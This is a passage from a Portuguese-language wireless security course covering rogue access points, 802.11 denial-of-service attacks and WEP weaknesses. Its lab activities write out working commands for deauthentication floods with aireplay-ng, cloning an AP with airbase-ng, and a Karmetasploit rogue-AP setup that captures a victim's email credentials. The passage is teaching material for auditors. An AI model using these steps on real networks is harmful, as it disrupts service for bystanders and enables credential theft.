rede sem fio e encaminha para o servidor Kismet atravs de uma conexo secundria (normalmente, a rede sem fio). Exige pouco hardware e permite que se instalem drones diferentes para canais diferentes a situao ideal um drone em cada canal em tempo integral e at padres diferentes, como IEEE 802.11a, por exemplo.
90
Intrusion Prevention System (IPS)

11 Rogues identificados pelo Kismet. 11 Cliente tenta se conectar ao AP rogue. 11 IPS DoS contra os clientes da rede rogue. Riscos: 11 Falso-positivos. 11 Desconectar clientes de redes vizinhas. possvel atacar o problema dos rogues de uma maneira mais ativa com a implantao de um Intrusion Prevention System (IPS). Difere de um IDS porque, em vez de se limitar a
registrar intruses, reage a elas. Uma sugesto de reao efetuar um ataque de Denial of Service (DoS) contra os clientes que associam ao AP rogue. Quando o IPS da rede sem fio detecta a tentativa de um cliente se associar a um AP rogue, ele transmitir quadros de desautenticao 802.11 forjados para a estao. Dessa forma, a estao considera os quadros provenientes do AP rogue e a conexo terminada imediatamente. Pacotes de desautenticao so pacotes 802.11 de gerenciamento (tipo 00) e subtipo 1100. So anncios que indicam que o receptor no est mais autenticado. uma comunicao de uma via que, normalmente, parte de um Access Point (BSS) e deve ser aceito pela estao, com efeito imediato. A condio de negao de servio se atinge quando se transmite constantemente esse tipo de quadro 802.11 a cada tentativa de autenticao da estao. Existem solues comerciais de IPS disponveis, mas possvel implantar um IPS bsico associando a sada do Kismet com mdk3 respectivamente, ferramentas de monitorao/ IDS e ataque DoS por desautenticao. Teremos a oportunidade de experimentar tanto com IDS distribudo usando Kismet quanto com ataques DoS.
Localizando rogues por anlise de SNR

Signal to Noise Ratio (SNR): 11 Sem unidade, potncia em dBm. 11 Anlise manual. 11 Localiza a propagao do sinal e no o dispositivo. 11 Melhor SNR obtido enquanto associado.
91
Fora (dBm)
RSSI (Intensidade do sinal) Relao sinal-rudo
Nvel de rudo 119129

Figura 5.2 Relao Sinal x Rudo.
Tempo (segundos)
Signal to Noise Ratio (SNR) ou Relao Sinal x Rudo, algumas vezes referenciado como S/N, um valor usado para a razo entre a potncia de um sinal e o rudo de fundo. Quanto maior o valor de SNR, menor o nmero de erros e mais prximo se est do transmissor. possvel estimar a localizao de rogues com base nesse indicador e no endereo MAC do dispositivo. O melhor SNR obtido quando se est associado rede, mas isso nem sempre possvel para um auditor. Por isso, necessrio o uso de interfaces de rede em modo Monitor asso ciado a ferramentas como Kismet para a leitura das medies de SNR. importante lembrar que o valor de SNR tem mais relao com o padro de propagao do sinal do que com o dispositivo transmissor em si. Isso quer dizer que possvel captar, a metros do AP rogue, um valor mais alto do que em cima dele.
Etapas da localizao por SNR

11 Diagrama do prdio. 11 Amostragem de diversos pontos. 11 Processamento posterior para estimar a posio do transmissor. 11 Primeira fase da anlise manual: consiste em obter diagramas do prdio que est sendo auditado. Isso importante para que o auditor possa identificar, no diagrama, o sinal e o rudo em cada ponto; 11 Segunda fase: consiste em efetivamente coletar os valores de SNR em diversos pontos do local. recomendado que se utilize uma antena omnidirecional (dipolo) para que o ganho e a abertura de captura da antena (beamwidth) no comprometam a medio,
que deve ser pontual. recomendado tambm que o auditor realize um movimento de rotao lento sobre o ponto, coletando por pelo menos 30 segundos; 11 Terceira fase: a de anlise. Nela, o auditor analisa os valores de SNR e os confronta com o mapa, identificando os pontos com maior qualidade de sinal. Uma vez determi nada uma provvel regio em que o AP possa estar, o auditor pode passar a utilizar uma antena direcional.
92
Criando um AP rogue sob Linux

11 Objetivo: se passar por um AP existente. 11 Interface em modo Master: implementao mais simples:
# ifconfig wlan0 hwether XX:XX:XX:XX:XX:XX # ifconfig 192.168.1.1 netmask 255.255.255.255 # iwconfig wlan0 mode master # iwconfig wlan0 essid ROGUE # iwconfig wlan0 key off # iwconfig wlan0 rate auto
11 Airbase-ng: uma ferramenta do pacote aircrack-ng que permite criar um rogue AP com vrias opes:
# airbase-ng --essid ROGUE a XX:XX:XX:XX:XX:XX mon0

11 Servidor DNSmasq opcional: encaminhador de requisies DNS e DHCP para pequenas redes com NAT. 11 Servidor web ou Captive portal. muito simples criar um Soft AP, um AP baseado em software. No exemplo do slide podemos ver, de maneira simplificada, o que essencial para simplesmente se passar por um AP existente.
l
Para soluo completa de Soft AP, normalmente se emprega um software chamado DNSmasq, um servidor que integra as funes de encaminhador de requisies DNS e servidor DHCP, ideal para pequenas redes que tenham NAT implementado.
Primeiro troca-se o endereo MAC, IP e mscara de rede da interface sem fio, de forma que sejam os mesmos do AP que se deseja duplicar. Depois, ativamos o modo Master e definimos um SSID igual ao do AP original, o que j suficiente para que estaes prximas vejam a interface como rede sem fio. Em seguida, configura-se parmetros tpicos de hotspots, como a ausncia de mecanismos de segurana (WEP e WPA, para falar dos mais bsicos) e, final mente, a taxa de transmisso. Os passos anteriores j so suficientes para que as estaes se conectem ao seu AP clone, embora ainda no sejam possveis consultas DNS ou roteamento para a internet. Uma vez que a inteno apenas de capturar trfego dos clientes, bastaria um servidor DHCP devi damente configurado para configurar automaticamente nas estaes endereos IP, servi dores DNS e gateway.
Exerccio de fixao 1 e Redes rogue

Explique as tcnicas de anlise de redes rogue.
93
Denial of Service (DoS)

11 Negao de Servio. 11 Ameaa frequentemente ignorada. 11 No requer equipamento especial ou atacante avanado. 22 Notebooks comuns. 22 Interfaces de rede comuns. 22 Softwares disponveis na internet. 11 A especificao 802.11i no oferece proteo.
Ataques DoS normalmente so desprezados por quem projeta uma rede sem fio, especial mente pela concepo errada de que so ataques complexos, que exigem equipamentos caros e um atacante altamente capacitado. possvel iniciar um ataque DoS com equipamentos comuns encontrados em lojas e softwares simples, baseados em Windows e Linux. Para transmitir, um atacante no precisa nem mesmo estar prximo rede-alvo: o uso de antenas de alto ganho permite que se ataque a rede a grandes distncias. A seguir, veremos alguns ataques que podem ser feitos contra organizaes que tenham redes sem fio implantadas.
Tipos de ataque DoS contra redes 802.11

Persistentes: 11 Causam impacto, mesmo depois que o ataque cessa. 11 Mais eficiente para o atacante, exige menos recursos. 11 Pode exigir reboot. No persistentes: 11 Perdem sua eficcia quando o ataque cessa ou o atacante fica fora de alcance. 11 Mais comum. Ataques DoS podem ser divididos em dois tipos:
11 Persistentes: causam impacto no sistema atacado, mesmo depois que o ataque termina; 11 No persistentes: o impacto na rede cessa aps o ataque. Ataques persistentes e no persistentes podem ser empregados, dependendo do obje tivo do atacante. Para interromper a atividade de rede por pouco tempo para evitar ser detectado, por exemplo , um ataque no persistente suficiente para esSe propsito. J o ataque persistente pode abranger todos os Access Points e canais o que mais interes Segurana em Redes sem Fio
sante, se a inteno interromper a atividade de rede por completo e por mais tempo.
Ataque contra a camada fsica

Ataques na camada 1. 11 Rudo nas frequncias de Wi-Fi. 11 Maior potncia, mais canais. 11 Um ou mais canais. Explorao de vulnerabilidades nas especificaes da camada MAC 802.11.
94
Ataques contra a camada fsica visam explorar vulnerabilidades, tanto do meio quanto de especificaes de protocolo. O meio de radiofrequncia utilizado por redes sem fio inclui as faixas de 2.4 GHZ ou 5 GHZ. Esse o alvo do atacante que deseja atacar o meio. Redes sem fio, como redes cabeadas, dependem de um meio compartilhado que, mesmo sem atacantes, j sujeito a DoS um usurio que use demais o meio ou outras redes com a mesma frequncia. Os ataques mais comuns no envolvem insero de rudo na rede atravs de equipamentos especficos, opo muitas vezes cara. mais comum explorar vulnerabilidades nas prprias especificaes da camada MAC de IEEE 802.11 e nos clientes. Vamos nos limitar a explorar esses ltimos ataques, que usam equipamentos-padro de rede sem fio e exigem softwares simples.
Ataques camada MAC 802.11

Especificao 802.11. 11 Diversas vulnerabilidades DoS. 11 Se fossem corrigidas, o padro seria quebrado. No h autenticao por pacote para os quadros. 11 Falha crtica. 11 Possibilidade de transmitir quadros de qualquer MAC de origem. 11 Pacotes de gerenciamento so transmitidos em claro. Como se defender de DoS se a prpria especificao de 802.11 permite ataques? Dentre as vulnerabilidades, a que se destaca a completa falta de um mecanismo de autenticao por pacote. Sem esse mecanismo, um atacante pode forjar o endereo MAC de origem dos pacotes, enviando qualquer tipo de quadro na rede sem fio. A estao que recebe esses quadros forjados no tem como detectar que eles no foram enviados pelo endereo MAC do pacote. Resultado: os pacotes so processados como se fossem autn -
ticos. O que impede a extino desse tipo de vulnerabilidade que alterar o comportamento do protocolo o quebraria, causando no mnimo incompatibilidade entre equipamentos. Quadros de gerenciamento so especialmente interessantes para se efetuar um ataque DoS contra estaes de uma rede sem fio. A seguir, veremos alguns ataques que exploram tipos especficos de quadros de gerenciamento.
Ataque persistente: flood de autenticao ou associao

Autenticao ou associao repetida de origens forjadas. 11 So possveis 2007 AID (Association Identifier) por AP 802.11. 11 Esgotamento de recursos do AP. Reaes diversas, dependendo do AP. 11 Sempre com alguma forma de DoS. Uma das principais ferramentas. 11 Aireplay-ng (pacote Aircrack-NG). Introduzimos a questo de ataques DoS contra a camada MAC por autenticao ou asso ciao. O ataque ocorre pelo esgotamento de recursos do Access Point: o atacante envia
q
quadros de gerenciamento dos subtipos autenticao e associao com origem forjada, na tentativa de esgotar a memria e o processamento do Access Point. Lembre-se de que uma
95
interface pode se associar a apenas um BSS, o que nesse caso no acontece a interface de rede do atacante no conclui nenhuma associao porque o endereo de origem foi forjado. A especificao IEEE 802.11 determina que o nmero mximo de Association Identifiers (AID) que podem ser alocados de 2007, por razes de economia de energia, mas no determina o que deve ser feito quando esse limite atingido. Os Access Points tm diversas reaes a esse ataque, todas com alguma forma de DoS: 11 Reboot; 11 Desassociao de clientes previamente associados; 11 Rejeio de novas associaes, enquanto as ativas no terminam ou atingem timeout ; 11 Congelamento do AP. O nico limitador desse ataque que, em redes com autenticao por chave compartilhada (WEP), o atacante deve primeiro se autenticar o que implica obter a chave WEP de alguma forma. Veremos adiante como comprometer chaves WEP.
[root@localhost console]# voidll_penetration /* voidll 802.11b penetration testing utility * version 0.2.0 send comments to HYPERLINK
mailto:reyk@vantronix.net reyk@vantronix.net * * general options: * -t val type (default: 1)
* 0: no action * 1: deauth stations * 2: auth flood * 3: assoc flood * -d n * -s MAC * -S str delay (default: 10000 usecs)
station (default: ff:ff:ff:ff:ff:ff / Randon) ssid (default: )
* -h * -D
show this help debug (-DD... for more bssids)
* * single target dos: * -B MAC * * auto target dos: * -m n max concurrent floods (default: 23 floods) dssid (default: scan for bssids)
96
* -T n * -l file
timeout (default: 10sec)
matchlist match policy (white: 0, black:1 default: 0)
* -p n */
Figura 5.3 Interface grfica do gVoid11.
Void11 uma implementao do ataque de associao ou autenticao para Linux que usa o driver HostAP. Usa endereos MAC aleatrios para atacar APs especificados na execuo do programa ou qualquer um que seja detectado. A ferramenta implementa outros tipos de ataque desautenticao, por exemplo, que veremos a seguir. Em uma verso mais recente, inclui uma interface grfica, o que facilita o
Script kiddie Termo depreciativo atribudo aos grupos de crackers inexperientes (geralmente muito jovens) que desenvolvem atividades relacionadas com segurana da informao utilizando-se do trabalho intelectual dos verdadeiros especialistas tcnicos.
trabalho dos script kiddies.
Ataque no persistente: flood de desautenticao

11 Atacante forja o MAC do AP. 11 Quadros de desautenticao enviados para os clientes. 11 Pode ter como alvo um usurio ou todos.
q
11 Drivers mais novos no reagem a quadros 802.11. O ataque de desassociao ou desautenticao interrompe a comunicao com o AP, tirando proveito dos quadros criados para liberar carga do AP quando h muitos clientes associados. A reao do driver do cliente pode ser a de buscar o mesmo SSID em outros canais, tentar uma nova conexo com o AP ou ignorar por completo os quadros. Diferente de ataques de camada fsica, que atacam toda a atividade de redes sem fio em determinados canais, esse tipo de ataque mais especfico. Pode ser direcionado a um cliente especfico ou mesmo a todos os clientes de um AP, ao enviar o quadro para o ende reo de broadcast (FF:FF:FF:FF:FF:FF).
97
Ataque no persistente: autenticao invlida

11 Atacante envia requisio de autenticao invlida para AP com MAC de origem (vtima) forjado. 11 AP responde para o IP de origem (vtima) com unknown or unsupported algorithm. 11 Usurio previamente autenticado desautenticado. 11 No persistente. 11 Clientes normalmente reautenticam. Nesse ataque DoS divulgado na lista BUGTRAQ, um pacote forjado de autenticao enviado com um algoritmo invlido, que aparenta ter partido do cliente que se pretende
w
Mais informaes em BugTraq: 802.11b DoS exploit: http://www. securityfocus.com e em Mark Fat Bloke Osborne: http://www. loud-fat-bloke.co.uk/
atacar. Uma vez que o Access Point j estava autenticado, os APs normalmente respondem com um quadro de gerenciamento unknown or unsupported algorithm e interrompem a conexo em andamento. De acordo com seu autor, um pacote a cada 2.5 segundos o suficiente para se ter sucesso e manter um ataque DoS constante.
Ataque no persistente: reserva do meio

Atacante forja mltiplos pacotes RTS: 11 Request to Send. 11 Quadro de controle tipo 01 e subtipo 1011. NAV definido como mximo: 32.767 microssegundos. 11 Network Allocation Vector. 11 1 segundo ~ 31 pacotes. Os ns perdem acesso rede pelo perodo determinado no NAV. Outro problema de reserva de meio o n oculto. O mecanismo de gerenciamento do meio Request to Send/Clear To Send (RTS/CTS) usa quadros de controle para limpar o meio antes de transmitir. Apenas um cliente da rede
pode transmitir por vez, para que no crie colises o que caracteriza a natureza half-duplex do algoritmo Carrier-Sense Multiple Access with Collision Avoidance (CSMA/CA). possvel atacar esse mecanismo forjando pacotes RTS com o Network Allocation Vector (NAV) definido com seu valor mximo 32.767 microssegundos. Assim, o envio de pelo menos 31 desses pacotes por segundo o suficiente para impedir que outros ns tenham acesso rede por 1 segundo. Aplicado de maneira constante, coloca a rede em condio de negao de servio (DoS). O cliente da rede escuta o meio antes de transmitir. Uma vez transmitido, o cliente recebe
um quadro de reconhecimento (ACK, tipo 01 e subtipo 1101) apenas para quadros de dados enviados quadros de gerenciamento no recebem ACK. Essa caracterstica faz com que as redes sofram do problema do n oculto, representado na prxima ilustrao.
98
Ataque no persistente: problemas de CSMA/CA
N A
N B
N C
Figura 5.4 Problema do n oculto.
Considere um caso em que o n A est transmitindo para o n B. O n C no est ciente disso e tambm tenta transmitir para B, produzindo coliso. Uma rede com vrios desses ns ocultos pode sofrer de baixas taxas de transmisso e desempenho. O gerenciamento de meio RTS/CTS resolve esse problema. Veja como o problema do n oculto resolvido pelo mecanismo RTS/CTS: 11 A estao A transmite um quadro RTS informando um Network Allocation Vector (NAV), que o tempo reservado para a sua transmisso; 11 A estao B recebe o quadro RTS e responde para toda a rea de abrangncia de B com um quadro Clear To Send (CTS). A estao que no enviou um quadro RTS interpreta isso como um sinal para aguardar antes de transmitir. A estao que transmitiu o quadro RTS estao A, nesse caso interpreta como sinal verde para a transmisso do quadro; 11 Estao A transmite o quadro.
DoS e IEEE 802.11

11 IEEE est ciente das falhas e ataques. 11 802.11i to vulnervel a DoS quanto 802.11 de 1997. 11 Soluo: 802.11w.
q
22 Proteo para quadros de gerenciamento. 11 Meio sempre ser vulnervel. A proteo dos quadros de gerenciamento est sendo tratada pelo grupo de trabalho TGw (Project IEEE 802.11 Task Group w Protected Management Frames). O IEEE est ciente das falhas de 802.11 e dos ataques aos quadros de gerenciamento, mas esse grupo de trabalho no tem como objetivo acabar com a ameaa do DoS. O resultado desse grupo de trabalho ser um padro 802.11w capaz de eliminar diversas vulnerabilidades do protocolo de gerenciamento de 802.11. Vale lembrar que o meio sempre ser vulnervel a interferncias de outras redes, fornos de micro-ondas, telefones sem fio e/ou mesmo RF-jamming, que consiste em poluir propositalmente a faixa de frequncia das ondas de rdio.
99
Medidas de defesa
11 Pouco pode ser feito. 11 Barreiras contra a propagao de sinais de radiofrequncia. 11 Identificar ataques em andamento com IDS. 11 Plano de resposta. Pouco pode ser feito para a conteno de ataques de DoS. A nica maneira de impedir os ataques que abordamos difcil de ser implantada: limitar a capacidade do atacante de transmitir para os dispositivos da sua rede sem fio. Um sistema de IDS pode ser til para
identificar ataques em andamento, o que pode eliminar outras possibilidades de indisponi bilidade na rede sem fio. Identificar ataques tambm pode auxiliar na resposta a ataques, fazendo com que os administradores da rede tomem medidas cabveis, como por exemplo procurar o dispositivo usando tcnicas de identificao de rogues. A melhor medida de defesa contra ataques DoS ter um plano de resposta a esse tipo de ameaa, determinando o que a organizao dever fazer para minimizar o impacto em elementos crticos da rede.
100
Atividade 5.1 Identificando APs na rede cabeada
Nesta atividade, executaremos o Nmap, com um script Nmap Script Engine (NSE) especfico para identificar Access Points que esto ligados na rede cabeada do laboratrio. Esse script foi desenvolvido por Joshua Wright (instrutor do SANS Institute) e est disponvel no diretrio /root/Desktop/SEG6/rogueap.nse e no site http://www.willhackforsushi.com/code/rogueap.nse Copie o arquivo rogueap.nse para o diretrio de scripts NSE do Nmap (/usr/local/share/nmap/scripts). Para realizar esse laboratrio, ser necessrio que o AP esteja conectado rede cabeada do laboratrio.
# nmap -sS -O --open --script=rogueap.nse <Faixa de endereos IP>

Exemplo:
# nmap -sS -O --open --script=rogueap.nse 192.168.1.1-10 Starting Nmap 5.51 ( http://nmap.org ) at 2011-11-02 17:22 EDT Nmap scan report for 192.168.1.1 Host is up (0.0031s latency). Not shown: 996 filtered ports, 3 closed ports PORT STATE SERVICE 80/tcp open http |_rogueap: Possible Rogue AP Found: Linksys WRT54G or WRT54G2, or Netgear WGR614 or WPN824v2 wireless broadband router MAC Address: 00:18:39:C8:B5:48 (Cisco-Linksys) Device type: WAP|broadband router Running: Linksys embedded, Netgear embedded, Netgear VxWorks 5.X OS details: Linksys WRT54G or WRT54G2, or Netgear WGR614 or WPN824v2 wireless broadband router, Netgear WGT624 WAP, Netgear WGR614v7, WGT624v3, or WPN824v2 WAP (VxWorks 5.4.2) Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 10 IP addresses (1 host up) scanned in 22.31 seconds
No exemplo anterior fizemos uma varredura na faixa de endereos IP iniciando por 192.168.1.1 at 192.168.1.10. Nessa varredura encontramos um Access Point com o IP 192.168.1.1, que provavelmente um Linksys WRT54G ou WRT54G2 ou Netgear WGR614 ou WPN824v2 wireless broadband router.
101
importante observar que essa abordagem til somente na anlise a partir da rede cabeada. A ideia saber se existe um AP oculto na rede, logo no faz sentido usar essa varredura a partir de um cliente associado ao AP. Alm do Nessus e do Nmap, possvel realizar essa varredura atravs do software Paglo RogueScanner, disponvel tanto para Windows como para Linux
Atividade 5.2 Realizando um ataque de Negao de Servio em 802.11

Nesta atividade executaremos um dos tipos de ataque de negao de servio que explora a desassociao de clientes 802.11 pelo envio de quadros de gerenciamento com contedo e origem forjados.
Lembre-se de usar esse tipo de comando com responsabilidade e tica.
Nesse tipo de ataque, a condio de Negao de Servio (Denial of Service DoS) criada quando um cliente impedido de se manter associado a um AP. Tambm possvel realizar um ataque ainda mais abrangente, que afeta qualquer cliente de um dado AP. Esse tipo de ataque explora vulnerabilidades dos prprios protocolos 802.11, que no foram desenvolvidos sem prever o envio de quadros forjados, que simulam ordens do AP para clientes que chegam na forma de quadros 802.11 do tipo deauthentication e disassociation. H um grupo de trabalho IEEE trabalhando na proteo de quadros de gerenciamento, 802.11w (Protected Management Frames). O ataque que iremos realizar no ser mais possvel depois que esse novo padro for ratificado e se tornar disseminado entre os equipamentos. Alguns outros ataques de DoS, alm do prprio jamming fsico, ainda sero possveis. Antes de qualquer comando, voc deve verificar se sua interface de rede 802.11 e respectivo driver permitem a injeo de pacotes, essencial na criao de quadros que se passam por trfego proveniente do AP. Para verificar isso, use os comandos airmon-ng, airodump-ng e aireplay-ng, parte do pacote de ferramentas Aircrack-ng.
# # airmon-ng start wlan0 Interface Chipset Driver wlan0 Ralink 2573 US rt73usb - [phy0]
(monitor mode enabled on mon0) # aireplay-ng mon0 --test

Tanto a interface de rede que estamos usando quando o mdulo (driver) rt73 foram tes Segurana em Redes sem Fio
tados previamente. Uma sada bem-sucedida do comando :
12:11:37 Trying broadcast probe requests... 12:11:38 Injection is working! 12:11:38 Found 1 AP 12:11:38 Trying directed probe requests...
102
12:11:38 00:02:6F:xx:xx:xx - channel: 1 - rnpesr 12:11:43 Ping (min/avg/max): 8.811ms/46.750ms/199.119ms Power: 37.25 12:11:43 12/30: 40%
Se o comando anterior foi bem-sucedido, ento podemos prosseguir. Algumas vezes necessrio descarregar o mdulo rt73 e carreg-lo novamente. Agora busque redes e clientes prximos usando a ferramenta Airodump-ng. Tambm podemos utilizar Kismet.
# airodump-ng mon0
Uma sada comum do comando :
CH 2 ][ Elapsed: 4 s ][ 2008-10-03 12:21
BSSID
PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:18:DE:xx:xx:xx -1 3
0 0 11 54. OPN
Internet Oasis(FREE) rnpesr
00:02:6F:xx:xx:xx 47 8 12 0 1 11 WEP WEP
BSSID
STATION
PWR Rate Lost Packets Probes
00:02:6f:xx:xx:xx 00:18:DE:xx:xx:xx 3 0- 1 0 00:03:6f:xx:xx:xx 00:02:2D:xx:xx:xx 41 0- 2 8
3 7
Lembre-se de o airodump-ng percorre todos os canais se no for especificado um canal. Observe que no painel superior so exibidos os Access Points. Neste painel voc vai coletar dois dados importantes: o SSID e o BSSID do Access Point que ser atacado. Observe no painel inferior as associaes entre clientes e APs. A ltima coluna desse painel (probes) exibe os probes que esse cliente est realizando, as redes que esto sendo buscadas. Um comportamento comum de clientes Windows buscar por redes j conhecidas; esse campo normalmente preenchido por vrios SSIDs, inclusive de redes que no existem na rea. Forme par com um colega ao lado. Voc realizar o ataque e ele ser atacado. Voc precisa saber o endereo MAC do cliente. Para isso, oriente seu colega a executar o seguinte comando:
# ifconfig wlan0
Anote: BSSID do AP: SSID do AP:
103
Endereo MAC cliente: Acompanhe o cliente de seu colega se associando e trocando trfego com o AP pelo Airodump-ng. Para desassociar o cliente de seu colega:
# aireplay-ng mon0 --deauth 1 -a aa:aa:aa:aa:aa:aa -h aa:aa:aa:aa:aa:aa: -c bb:bb:bb:bb:bb:bb

Onde: -a (BSSID endereo MAC do AP: caracteres hexadecimais 0-9 a-f) -h (endereo MAC origem dos pacotes; caracteres hexadecimais 0-9 a-f) -c (endereo MAC do cliente; caracteres hexadecimais 0-9 a-f) Lembre-se de que o endereo do cliente de seu colega ser usado no parmetro -c. Essa sada indica que voc provavelmente cometeu um erro ao digitar o BSSID do AP:
The interface MAC (06:15:AF:xx:xx:xx) doesnt match the specified MAC (-h). ifconfig ath1 hw ether 00:1C:10:xx:xx:xx 12:44:58 Waiting for beacon frame (BSSID: 00:1C:10:xx:xx:xx) 12:44:58 No such BSSID available. Please specify an ESSID (-e).
Atividade 5.3 Exerccio opcional

1. Inclua um segundo colega em seu experimento. Pea que ele capture (airmon-ng, airodump-ng, modo Monitor) na estao o trfego que voc gerou. Analise o trfego em grupo com Wireshark e anote: Tipo de quadro (frame) 802.11: Quantos quadros foram gerados em seu ataque: 2. Voc pode tambm realizar um ataque que causa a desassociao de todos os clientes de um AP. Voc pode fazer isto ordenando que o destino dos quadros seja broadcast.
# aireplay-ng mon0 --deauth 0 -a 00:1C:10:xx:xx:xx
Atividade 5.4 Um ataque rogue completo

Essa atividade demonstrar como um rogue AP pode afetar a confidencialidade em uma rede sem fio. Para esse laboratrio utilizaremos duas estaes, uma vtima utilizando o
Sistema Operacional Windows XP e um atacante utilizando o Backtrack. Configurando o cenrio: 1. Computador vtima: a. Configurar a rede sem fio do Windows para acessar a rede do laboratrio (SSID: ESR-SEG6).
104
b. Assim que o Windows se associar ao AP e pegar um IP, desligue o AP. c. O Windows mantm uma lista de Access Points que ele j se conectou e fica fazendo probes na rede em busca desses Access Points. Assim, suponhamos que voc se conecte na rede do trabalho e se desconecte e v a um local pblico. Se um usurio mal-intencionado realizar um scan nesse local, ele conseguir visualizar os probes que seu Sistema Operacional est realizando, e poder assim criar um AP rogue para fazer com seu Sistema Operacional se conecte automaticamente a essa rede falsa. d. Configurar o Outlook Express para se conectar a um servidor de e-mail fictcio com um usurio e senha salvo. 2 . Computador atacante: a. Configurar a interface em modo monitor:
# airmon-ng start wlan0

b. Iniciar o airbase-ng simulando o SSID da rede do laboratrio (ESR-SEG6):
# airbase-ng e ESR-SEG6-c 3 -v mon0

11 -e especifica o SSID da rede rogue. 11 -c especifica o canal da rede rogue. 11 -v habilita modo verbose. 11 mon0 interface em modo raw que ser utilizada para criar a rede rogue. c. Crie o arquivo /etc/dhcp3/dhcpd.conf com os dados a seguir para criar um servidor DHCP para a rede rogue (arquivo dhcpd.conf disponvel em /root/Desktop/SEG6 ):
option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254 option routers 10.0.0.1 option domain-name-servers 10.0.0.1 }
d. Configurar o IP da interface criada pelo airbase-ng (at0):
# ifconfig at0 10.0.0.1 netmask 255.255.255.0

e. Iniciar o servidor DHCP:
# /etc/init.d/dhcp3-server start
105
f. Iniciar o metasploit com o script karmetasploit (uma implementao da famosa ferramenta de rogue Karma, para o framework metasploit). O script karma.rc est em /root/Desktop/SEG6:
# cd /pentest/exploits/framework3 # cp /root/Desktop/SEG6/karma.rc . # ./msfconsole r karma.rc

3. Computador vtima: a. Conecte-se rede ESR-SEG6 (para o sucesso do laboratrio manteremos o AP desligado, mas em um caso real a rede rogue ganharia do AP caso o sinal da interface de rede seja mais potente que o sinal do AP). b. Inicie o Outlook Express, que tentar automaticamente se conectar ao servidor fictcio e enviar o usurio e senha. Veja na tela do metasploit esses dados coletados.
106
6
Redes WEP-PSK
objetivos
Examinar o protocolo WEP e conhecer suas falhas, tornando-o seguro (no fcil); conhecer as possibilidades de ataque a redes com WEP.
conceitos
Mecanismo de segurana WEP.
Introduo
11 Problemas de WEP. 11 Ataques contra WEP. 11 Auditando redes com WEP. 11 Melhorando a segurana de redes WEP. Neste captulo, analisaremos o protocolo Wired Equivalent Privacy (WEP), bem como suas
diversas vulnerabilidades, que comprometem a confidencialidade e a integridade dos dados trocados em uma rede sem fio. Para provar as vulnerabilidades, apresentaremos alguns ataques possveis e ferramentas disponveis. WEP definitivamente no um protocolo de segurana recomendado, mas necessrio abord-lo para conhecer suas vulnerabilidades e para us-lo de forma mais segura, no caso de redes com suporte a somente esse mecanismo de segurana. Equipamentos de rede mais antigos (tanto AP quanto interface de rede) e alguns aparelhos de telefone IP com Wi-Fi de primeira gerao so exemplos de dispositivos que oferecem apenas WEP como meca nismo de segurana.
Wired Equivalent Privacy (WEP)

Especificado em IEEE 802.11 (1997). Confidencialidade em redes 802.11. 11 No um mecanismo de segurana propriamente dito. Criptografia: 11 Algoritmo RC4. 11 Protocolo de criptografia forte, porm implementado de modo fraco no WEP. 22 RC4 tambm usado nos protocolos SSL/TLS.
q
Captulo 6 - Redes WEP-PSK
107
WEP foi criado para fornecer a redes sem fio a confidencialidade de redes cabeadas, embora seja conhecido como um mecanismo de segurana. Entretanto, devido falta de meca nismos de segurana no incio do desenvolvimento dessas redes WEP, foi adotado como uma maneira de evitar o acesso no autorizado. Especificado no padro IEEE 802.11-1997, inicialmente determinou chaves de apenas 40 bits. A iniciativa de aumentar o tamanho das chaves para 104 bits o que mais comum no mercado atualmente partiu da indstria e nunca foi parte da especificao. O problema de WEP no est em seus protocolos de criptografia, mas em sua implemen tao fraca. RC4 um algoritmo de criptografia de fluxo (stream cipher) usado em proto colos de segurana amplamente utilizados, como Secure Socket Layer (SSL) e Transport Layer Security (TLS). WEP protege apenas os dados (payload) de quadros 802.11, ou seja, quadros de gerencia mento, de controle e o prprio cabealho de quadros de dados no so protegidos.
Chaves WEP
11 64 e 128 bits, na verdade, so 40 e 104 bits + IV de 24 bits. 11 Chave nica por pacote. 11 Premissa de RC4: nunca use uma chave mais de uma vez. 11 Chave pr-compartilhada: 22 Cadeia de 10 ou 26 caracteres (40 ou 104 bits). 22 24 bits so o IV concatenado. 11 IV transmitido no pacote.
Ao escolher um Access Point ou configur-lo, comum se deparar com as opes de chaves de 64 ou 128 bits. Na realidade, as chaves possuem 40 e 104 bits, respectivamente os 24 bits restantes so o IV (Initialization Vector). A funo do IV proteger uma premissa bsica de RC4: no repetir o uso de uma chave mais de uma vez. Dessa forma, cada quadro de dados 802.11 tem uma chave definida pelo admi nistrador tambm conhecida como chave pr-compartilhada (de PSK, Pre-Shared Key) e uma chave varivel, o vetor de inicializao (IV). Embora seja parte do segredo, o IV no pode ser um segredo, j que o receptor precisa conhecer o IV para decifrar os dados do quadro. Por isso, ele informado em um campo do prprio pacote, em texto claro. Uma das principais fraquezas de WEP est justamente no IV. O IEEE no definiu um padro de seleo de IVs, o que cria uma vulnerabilidade do ponto de vista do algoritmo RC4: repetio de chaves. Uma vez que o campo do quadro 802.11 que comporta o IV tem 24 bits
l
WEP oferece suporte a at quatro chaves, referenciadas por um ndice no cabealho dos pacotes. Embora no seja uma opo muito utilizada, tem como objetivo permitir que se faa rotao entre chaves.
(FF:FF:FF em hexadecimal), o valor mximo do IV de 16777215. A repetio de valores de IV invalida a segurana de RC4, possibilitando a recuperao do texto cifrado do quadro. Adiante sero analisados ataques que exploram essa falha.
WEP no quadro 802.11

Aps cabealho 802.11. 11 Flag WEP bit, privacy bit, secure bit.
108
IV 11 4 bytes antes dos dados. ICV 11 4 bytes depois dos dados. Quando o flag de WEP estiver ativado no cabealho de 802.11, a seo de dados do quadro interpretada como dados precedidos por 4 bytes (IV) e seguidos de mais 4 bytes (ICV/CRC32).
Como mencionamos no slide anterior, o IV deve ser informado no quadro para que o receptor seja capaz de decifr-lo em posse da chave WEP. O Integrity Check Value (ICV) o resultado do clculo do checksum CRC32, valor usado pelo receptor para verificar a integridade do quadro.
Figura 6.1 WEP no quadro 802.11.
802.11 Headers
IV
Data
CRC32
bom lembrar que o CRC32 no suficiente para detectar alteraes nos quadros em trnsito.
Processo de cifragem WEP

